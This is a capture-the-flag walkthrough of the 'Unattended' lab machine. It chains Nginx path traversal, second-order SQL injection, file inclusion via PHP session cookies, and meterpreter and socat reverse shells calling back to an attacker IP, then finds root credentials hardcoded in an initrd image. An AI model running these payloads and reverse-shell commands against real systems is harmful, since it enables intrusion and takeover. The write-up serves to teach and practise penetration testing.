Unattended is a Linux box rated as medium difficulty that requires many advanced techniques to compromise. Our initial major foothold is a series SQL injection vulnerabilities, that lead to a local file inclusion, escalating to remote code execution. Once on the box and establish a user session, we discover credentials in an initrd image, which leads to obtaining root privileges.
We start our enumeration with an nmap scan against the target machine:
Ports 80 and 443 are the only ports open. Take note of the ssl cert common name www.nestedflanders.htb
, this is a potential virtual host name that needs to be enumerated. Adding this entry to our /etc/hosts
file will aid in testing:
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.10.126 unattended.htb www.nestedflanders.htb
Browsing to both ports by IP yields no results, but https://www.nestedflanders.htb
shows us an Apache2 Debian landing page; we will continue to use this as the hostname for future enumeration. An interesting note is that Wappalyzer claims the host is running Nginx 1.10.3
despite the Apache2 landing page.
Manually browsing the site gives us no more results. We will use gobuster
to brute force directories against www.nestedflanders.htb
:
Gobuster discovers the existence of /index.php
and /dev
. Browsing to /index.php
reveals a custom web page for “Nested Flanders’ Portfolio”. Navigating to links on this page takes us to different index.php?id=ID
pages, the ID
parameter is worth investigating shortly. No additional pages can be found here, so we move on.
The /dev/
directory has a plaintext message “dev site has been moved to his own server”. Development artifacts are always high priority targets and require further enumeration.
Following our note earlier about the Nginx
wappalyzer result, it is worth playing with how paths are normalized. The Nginx off-by-slash bug was found to be applicable here. Browsing to https://www.nestedflanders.htb/dev../
results in a 403 forbidden
. Going further up the directory tree to https://www.nestedflanders.htb/dev../html/index.php
allows us to download the source of index.php
. We can download the contents to our machine for a local copy with curl
:
curl -k https://www.nestedflanders.htb/dev../html/index.php -o index.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2721 100 2721 0 0 2778 0 --:--:-- --:--:-- --:--:-- 2779
In the source of index.php
we find many interesting things. Immediately we find database credentials that will be useful later:
$servername = "localhost";
$username = "nestedflanders";
$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";
$db = "neddy";
$conn = new mysqli($servername, $username, $password, $db);
We also find this SQL injection:
$valid_ids = array (25,465,587);
if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
$sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
} else {
$sql = "SELECT name FROM idname where id = '25'";
}
We see three different valid_ids
, each corresponding to the main
, about
, and contact
links under index.php
. If our provided ID is outside of this set, we are returned to the default main
page.
We can test this SQLi by injecting 25' or '1' = '1
as our page ID, providing a valid id and an injection payload:
Injecting 25 or '1' = '2
yields a slightly different response, a good indication that our SQL logic is being interpreted:
This SQLi can be automated with SQL map to extract further data, but it defaults to a timing based attack and is slow. Further enumeration revealed that database contents were not useful at this time.
Going back to the source code of index.php
, we observe how a page name is returned from a given id in getTplFromID
:
function getTplFromID($conn) {
global $debug;
$valid_ids = array (25,465,587);
if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
$sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
} else {
$sql = "SELECT name FROM idname where id = '25'";
}
if ($debug) { echo "sqltpl: $sql<br>\n"; }
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$ret = $row['name'];
}
} else {
$ret = 'main';
}
if ($debug) { echo "rettpl: $ret<br>\n"; }
return $ret;
}
getPathFromTpl
is then called with the previously returned name aka tpl
, a sign of a potential 2nd order SQL injection:
function getPathFromTpl($conn,$tpl) {
global $debug;
$sql = "SELECT path from filepath where name = '".$tpl."'";
if ($debug) { echo "sqlpath: $sql<br>\n"; }
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$ret = $row['path'];
}
}
if ($debug) { echo "retpath: $ret<br>\n"; }
return $ret;
}
The $inc
return value from getPathFromTpl
is then included within index.php
. If we can trick the 1st SQL injection into outputting another injection query into the 2nd call, it may be possible to cause an arbitrary file to be included in this line:
<?php
include("$inc");
?>
After significant time manually fuzzing payloads, the following was found to yield results ' UNION SELECT "main' UNION SELECT '/etc/passwd';-- ";--
Since this LFI is exploited in the context of an include()
call, we need a way to get our own php code into a system file. Our session file at var/lib/php/session/sess_[SESSION COOKIE]
can be used to perform this. The session cookie value can be found in any HTTP request:
GET /index.php?id=25%27+UNION+SELECT+%22main%27+UNION+SELECT+%27/etc/passwd%27%3b--+%22%3b--+ HTTP/1.1
Host: www.nestedflanders.htb
Cookie: PHPSESSID=0eeec3brj9f8bs109u6ssli5p3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Since any cookies we add are appended to the session file, we can create our own arbitrary cookie that contains php code. Then we use the LFI to point to our session file to obtain remote code execution:
GET /index.php?id=25%27+UNION+SELECT+%22main%27+UNION+SELECT+%27/var/lib/php/sessions/sess_0eeec3brj9f8bs109u6ssli5p3%27%3b--+%22%3b--+ HTTP/1.1
Host: www.nestedflanders.htb
Cookie: PHPSESSID=0eeec3brj9f8bs109u6ssli5p3; EXEC=<?php passthru('whoami')?>;
...
Response
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Mon, 27 Mar 2023 21:52:42 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 957
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
X-Upstream: 127.0.0.1:8080
...
<div class="container">
<div class="row">
<!-- <div align="center"> -->
PHPSESSID|s:26:"0eeec3brj9f8bs109u6ssli5p3";EXEC|s:27:"=www-data
...
By creating an EXEC
cookie and smuggling <?php passthru('whoami')?>;
in it, we are able to see we are running arbitrary commands as www-data
.
With RCE established, we will create a PHP meterpreter shell and execute it on the target.
Create a meterpreter shell
$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.16.12 LPORT=80 > shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1110 bytes
Start Metasploit
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 80
LPORT => 80
msf6 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.12:80
Our php shell will be hosted on a simple HTTP server. We then just need to use our RCE primitive to make a wget call to fetch our shell, and another to make a call to php
to execute our shell.
Host the server:
$ sudo python -m http.server 443
Serving HTTP on 0.0.0.0 port 443 (http://0.0.0.0:443/) ...
Call wget to fetch the php shell:
GET /index.php?id=25%27+UNION+SELECT+%22main%27+UNION+SELECT+%27/var/lib/php/sessions/sess_0eeec3brj9f8bs109u6ssli5p3%27%3b--+%22%3b--+ HTTP/1.1
Host: www.nestedflanders.htb
Cookie: PHPSESSID=0eeec3brj9f8bs109u6ssli5p3; EXEC=<?php passthru('cd /tmp && wget http://10.10.16.12:443/shell.php')?>;
...
Call php to execute the shell:
GET /index.php?id=25%27+UNION+SELECT+%22main%27+UNION+SELECT+%27/var/lib/php/sessions/sess_0eeec3brj9f8bs109u6ssli5p3%27%3b--+%22%3b--+ HTTP/1.1
Host: www.nestedflanders.htb
Cookie: PHPSESSID=0eeec3brj9f8bs109u6ssli5p3; EXEC=<?php passthru('cd /tmp && php shell.php')?>;
...
After a few tries, we now how a meterpreter shell as www-data
:
With our www-data
shell, we find that there is only one other user on the box: guly
. Permissions are locked down and there is not much that can be done here.
After some time enumerating and meeting dead ends, recall the database credentials discovered earlier. Use these and mysql
to connect to the local database to enumerate data that was to slow to enumerate previously.
www-data@unattended:/tmp$ mysql -h localhost -u nestedflanders -p
mysql -h localhost -u nestedflanders -p
Enter password: 1036913cf7d38d4ea4f79b050f171e9fbf3f5e
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 33
Server version: 10.1.37-MariaDB-0+deb9u1 Debian 9.6
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
MariaDB [(none)]> use neddy;
use neddy;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [neddy]> show tables;
show tables;
+-----------------+
| Tables_in_neddy |
+-----------------+
| config |
| customers |
| employees |
| filepath |
| idname |
| offices |
| orderdetails |
| orders |
| payments |
| productlines |
| products |
+-----------------+
11 rows in set (0.00 sec)
MariaDB [neddy]>
After enumerating all of these, config
is the most interesting.
MariaDB [neddy]> select * from config;
select * from config;
+-----+-------------------------+--------------------------------------------------------------------------+
| id | option_name | option_value |
+-----+-------------------------+--------------------------------------------------------------------------+
...
| 73 | ftp_pass | 0e1aff658d8614fd0eac6705bb69fb684f6790299e4cf01e1b90b1a287a94ffcde451466 |
| 74 | ftp_root | / |
| 75 | ftp_enable | 1 |
| 76 | offset | UTC |
| 77 | mailonline | 1 |
| 78 | mailer | mail |
| 79 | mailfrom | nested@nestedflanders.htb |
| 80 | fromname | Neddy |
| 81 | sendmail | /usr/sbin/sendmail |
| 82 | smtpauth | 0 |
| 83 | smtpuser | |
| 84 | smtppass | |
| 85 | smtppass | |
| 86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl; |
| 87 | smtphost | localhost
...
checkrelease
is most relevant to our interests. Let’s assume that this script is executed periodically as a backend cronjob. If we set this to an arbitrary command, i.e. a reverse shell, we may assume control of the owner of the process when the cron runs again.
After some attempts to use our meterpreter shell from earlier, it appears some controls are blocking it. Living off the land by setting the checkrelease
values to socat
instead does the trick.
Run a listener on our attacking machine:
# socat file:`tty`,raw,echo=0 tcp-listen:443,reuseaddr
Update checkrelease
to our payload:
MariaDB [neddy]> update config set option_value = "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.16.12:443" where id = 86;
err,setsid,sigint,sane tcp:10.10.16.12:443" where id = 86;y,std
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
Immediately we get a shell from the user guly
:
We want to establish a more stable shell. Looking for our previous php meterpreter, it is not visible to guly
:
guly@unattended:~$ cd /tmp
guly@unattended:/tmp$ ls
systemd-private-fe15709562cd4f2599bdbc781b6e9896-apache2.service-qg1s74
systemd-private-fe15709562cd4f2599bdbc781b6e9896-apache2.service-w6yUCn
systemd-private-fe15709562cd4f2599bdbc781b6e9896-systemd-timesyncd.service-7zDdPB
systemd-private-fe15709562cd4f2599bdbc781b6e9896-systemd-timesyncd.service-A02fji
vmware-root
We can easily fetch it and run it again:
uly@unattended:/tmp$ wget http://10.10.16.12:443/shell.php
--2023-03-27 19:19:03-- http://10.10.16.12:443/shell.php
Connecting to 10.10.16.12:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1110 (1.1K) [application/octet-stream]
Saving to: ‘shell.php’
shell.php 100%[===================>] 1.08K --.-KB/s in 0s
2023-03-27 19:19:03 (89.0 MB/s) - ‘shell.php’ saved [1110/1110]
guly@unattended:/tmp$ php shell.php
Setting up a new meterpreter session we immediately see our guly
session:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/handler) > set LPORT 80
LPORT => 80
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.12:80
[*] Sending stage (39927 bytes) to 10.10.10.126
[*] Meterpreter session 1 opened (10.10.16.12:80 -> 10.10.10.126:59992) at 2023-03-27 16:21:29 -0700
meterpreter >
With our guly
user session, we need to begin enumerating for local privilege escalation. Our user is part of the grub
group, something that jumps out of the ordinary. Search for files that are part of this group:
guly@unattended:/tmp$ find / -group grub 2>/dev/null
find / -group grub 2>/dev/null
/boot/initrd.img-4.9.0-8-amd64
This initrd file is part of how a Linux system boots. It’s known as the initial RAM disk, and is the first filesystem mounted prior to when a real filesystem is available. It contains minimal directories and executables to obtain this. Unzipping this file will give us more details:
guly@unattended:/tmp$ mkdir initrd
guly@unattended:/tmp$ cp /boot/initrd.img-4.9.0-8-amd64 initrd
guly@unattended:/tmp$ cd initrd
guly@unattended:/tmp/initrd$ ls
initrd.img-4.9.0-8-amd64
guly@unattended:/tmp/initrd$ mv initrd.img-4.9.0-8-amd64 initrd.img-4.9.0-8-amd64.gz
guly@unattended:/tmp/initrd$ gzip -d initrd.img-4.9.0-8-amd64
gzip -d initrd.img-4.9.0-8-amd64
guly@unattended:/tmp/initrd$ ls
initrd.img-4.9.0-8-amd64
This new file is a cpio
archive and will require further extraction, this yields a lot of new files.
guly@unattended:/tmp/initrd$ file initrd.img-4.9.0-8-amd64
initrd.img-4.9.0-8-amd64: ASCII cpio archive (SVR4 with no CRC)
guly@unattended:/tmp/initrd$ cpio -idvm < initrd.img-4.9.0-8-amd64
.
boot
boot/guid
lib64
lib64/ld-linux-x86-64.so.2
init
scripts
scripts/nfs
scripts/local-block
scripts/local-block/ORDER
scripts/local-block/cryptroot
scripts/init-top
scripts/init-top/ORDER
scripts/init-top/udev
scripts/init-top/all_generic_ide
scripts/init-top/keymap
scripts/init-top/blacklist
scripts/functions
scripts/init-bottom
scripts/init-bottom/ORDER
...
Searching for references to guly
leads us to ./scriptws/local-top/cryptroot
guly@unattended:/tmp/initrd$ find . -type f -exec grep -Hi guly {} \;
./scripts/local-top/cryptroot: # guly: we have to deal with lukfs password sync when root changes her one
Binary file ./initrd.img-4.9.0-8-amd64 matches
Examining the cryptroot
script, we find the following code
# guly: we have to deal with lukfs password sync when root changes her one
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
/sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
sleep 3
continue
fi
fi
This generates root passwords with /sbin/uinitrd
and pipes them into $cryptopen
. Running /sbin/uinitrd
results in a permission error, but within our extracted initrd image we have our own copy of uinitrd
without restrictions.
guly@unattended:/tmp/initrd$ /sbin/uinitrd c0m3s3f0ss34nt4n1
bash: /sbin/uinitrd: Permission denied
guly@unattended:/tmp/initrd$ find . -type f -name uinitrd
./sbin/uinitrd
We will move that file to /home/guly
and execute it with the hardcoded credentials to obtain a root password.
guly@unattended:~$ cd /tmp
guly@unattended:/tmp$ cd /home/guly
guly@unattended:~$ cp /tmp/initrd/sbin/uinitrd .
guly@unattended:~$ ./uinitrd c0m3s3f0ss34nt4n1
132f93ab100671dcb263acaf5dc95d8260e8b7c6guly@unattended:~$ su root
Password: 132f93ab100671dcb263acaf5dc95d8260e8b7c6
With that, we have root!
This box served much more of a challenge than the “medium” difficulty rating. From the 2nd order SQL injection to LFI chain, to obscure script references in a SQL database, and finally hardcoded credentials in an initrd image. This box presents many learning opportunities for targeting a semi-realistic and highly custom environment.